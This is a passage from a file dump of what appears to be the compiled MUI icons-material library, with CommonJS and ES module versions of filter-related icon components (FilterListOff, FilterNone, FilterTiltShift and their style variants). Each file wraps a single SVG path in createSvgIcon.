    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.25 5.66c.1.13 5.74 7.33 5.74 7.33V19c0 .55.45 1 1.01 1h2.01c.55 0 1.01-.45 1.01-1v-6.02s5.49-7.02 5.75-7.34S20 5 20 5c0-.55-.45-1-1.01-1H5.01C4.4 4 4 4.48 4 5c0 .2.06.44.25.66\"\n}), 'FilterListAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.83 8H21V6H8.83zm5 5H18v-2h-4.17zM14 16.83V18h-4v-2h3.17l-3-3H6v-2h2.17l-3-3H3V6h.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41z\"\n}), 'FilterListOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.83 8H21V6H8.83zm5 5H18v-2h-4.17zM14 16.83V18h-4v-2h3.17l-3-3H6v-2h2.17l-3-3H3V6h.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41z\"\n}), 'FilterListOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.83 8H21V6H8.83zm5 5H18v-2h-4.17zM14 16.83V18h-4v-2h3.17l-3-3H6v-2h2.17l-3-3H3V6h.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41z\"\n}), 'FilterListOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.83 8H21V6H8.83zm5 5H18v-2h-4.17zM14 16.83V18h-4v-2h3.17l-3-3H6v-2h2.17l-3-3H3V6h.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41z\"\n}), 'FilterListOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7c0-.55-.45-1-1-1H8.83l2 2H20c.55 0 1-.45 1-1m-3 5c0-.55-.45-1-1-1h-3.17l2 2H17c.55 0 1-.45 1-1m-4.02 4.81c.01.06.02.13.02.19 0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1s.45-1 1-1h2c.06 0 .13.01.19.02L10.17 13H7c-.55 0-1-.45-1-1s.45-1 1-1h1.17l-3-3H4c-.55 0-1-.45-1-1 0-.32.15-.6.38-.79L2.1 4.93c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0l16.97 16.97c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0z\"\n}), 'FilterListOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7c0-.55-.45-1-1-1H8.83l2 2H20c.55 0 1-.45 1-1m-3 5c0-.55-.45-1-1-1h-3.17l2 2H17c.55 0 1-.45 1-1m-4.02 4.81c.01.06.02.13.02.19 0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1s.45-1 1-1h2c.06 0 .13.01.19.02L10.17 13H7c-.55 0-1-.45-1-1s.45-1 1-1h1.17l-3-3H4c-.55 0-1-.45-1-1 0-.32.15-.6.38-.79L2.1 4.93c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0l16.97 16.97c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0z\"\n}), 'FilterListOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.83 8H21V6H8.83zm5 5H18v-2h-4.17zM14 16.83V18h-4v-2h3.17l-3-3H6v-2h2.17l-3-3H3V6h.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41z\"\n}), 'FilterListOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.83 8H21V6H8.83zm5 5H18v-2h-4.17zM14 16.83V18h-4v-2h3.17l-3-3H6v-2h2.17l-3-3H3V6h.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41z\"\n}), 'FilterListOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.83 8H21V6H8.83zm5 5H18v-2h-4.17zM14 16.83V18h-4v-2h3.17l-3-3H6v-2h2.17l-3-3H3V6h.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41z\"\n}), 'FilterListOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.83 8H21V6H8.83zm5 5H18v-2h-4.17zM14 16.83V18h-4v-2h3.17l-3-3H6v-2h2.17l-3-3H3V6h.17L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41z\"\n}), 'FilterListOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 18h4v-2h-4zM3 6v2h18V6zm3 7h12v-2H6z\"\n}), 'FilterListOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 18h4v-2h-4zM3 6v2h18V6zm3 7h12v-2H6z\"\n}), 'FilterListOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m4 6h10c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FilterListRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1s.45 1 1 1M3 7c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m4 6h10c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FilterListRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 18h4v-2h-4zM3 6v2h18V6zm3 7h12v-2H6z\"\n}), 'FilterListSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 18h4v-2h-4zM3 6v2h18V6zm3 7h12v-2H6z\"\n}), 'FilterListSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 18h4v-2h-4zM3 6v2h18V6zm3 7h12v-2H6z\"\n}), 'FilterListTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterListTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 18h4v-2h-4zM3 6v2h18V6zm3 7h12v-2H6z\"\n}), 'FilterListTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'FilterNone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'FilterNone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'FilterNoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'FilterNoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'FilterNoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'FilterNoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14z\"\n}), 'FilterNoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14z\"\n}), 'FilterNoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3h14v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}, \"1\")], 'FilterNoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterNoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3h14v14H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}, \"1\")], 'FilterNoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.96 10.29-2.75 3.54-1.96-2.36L8.5 15h11zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'FilterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.96 10.29-2.75 3.54-1.96-2.36L8.5 15h11zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14z\"\n}), 'FilterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.56 10.81-2.35 3.02-1.56-1.88c-.2-.25-.58-.24-.78.01l-1.74 2.23c-.26.33-.02.81.39.81h8.98c.41 0 .65-.47.4-.8l-2.55-3.39c-.19-.26-.59-.26-.79 0M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'FilterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.56 10.81-2.35 3.02-1.56-1.88c-.2-.25-.58-.24-.78.01l-1.74 2.23c-.26.33-.02.81.39.81h8.98c.41 0 .65-.47.4-.8l-2.55-3.39c-.19-.26-.59-.26-.79 0M2 5c-.55 0-1 .45-1 1v15c0 1.1.9 2 2 2h15c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55-.45-1-1-1m19-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-1 16H8c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1\"\n}), 'FilterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.96 10.29-2.75 3.54-1.96-2.36L8.5 15h11zM3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14z\"\n}), 'FilterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.96 10.29-2.75 3.54-1.96-2.36L8.5 15h11zM3 5H1v18h18v-2H3zm20-4H5v18h18zm-2 16H7V3h14z\"\n}), 'FilterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShift.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62m7.32.19C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89M15 12c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3m3.31 4.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m-7.32-.19C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62z\"\n}), 'FilterTiltShift');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShift.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62m7.32.19C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89M15 12c0-1.66-1.34-3-3-3s-3 1.34-3 3 1.34 3 3 3 3-1.34 3-3m3.31 4.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m-7.32-.19C7.16 20.95 9 21.75 11 21.95v-2.02c-1.46-.18-2.79-.76-3.9-1.62z\"\n}), 'FilterTiltShift');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterTiltShiftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 4.07V2.05c-2.01.2-3.84 1-5.32 2.21L7.1 5.69c1.11-.86 2.44-1.44 3.9-1.62m7.32.19C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9M5.69 7.1 4.26 5.68C3.05 7.16 2.25 8.99 2.05 11h2.02c.18-1.46.76-2.79 1.62-3.9M4.07 13H2.05c.2 2.01 1 3.84 2.21 5.32l1.43-1.43c-.86-1.1-1.44-2.43-1.62-3.89M15 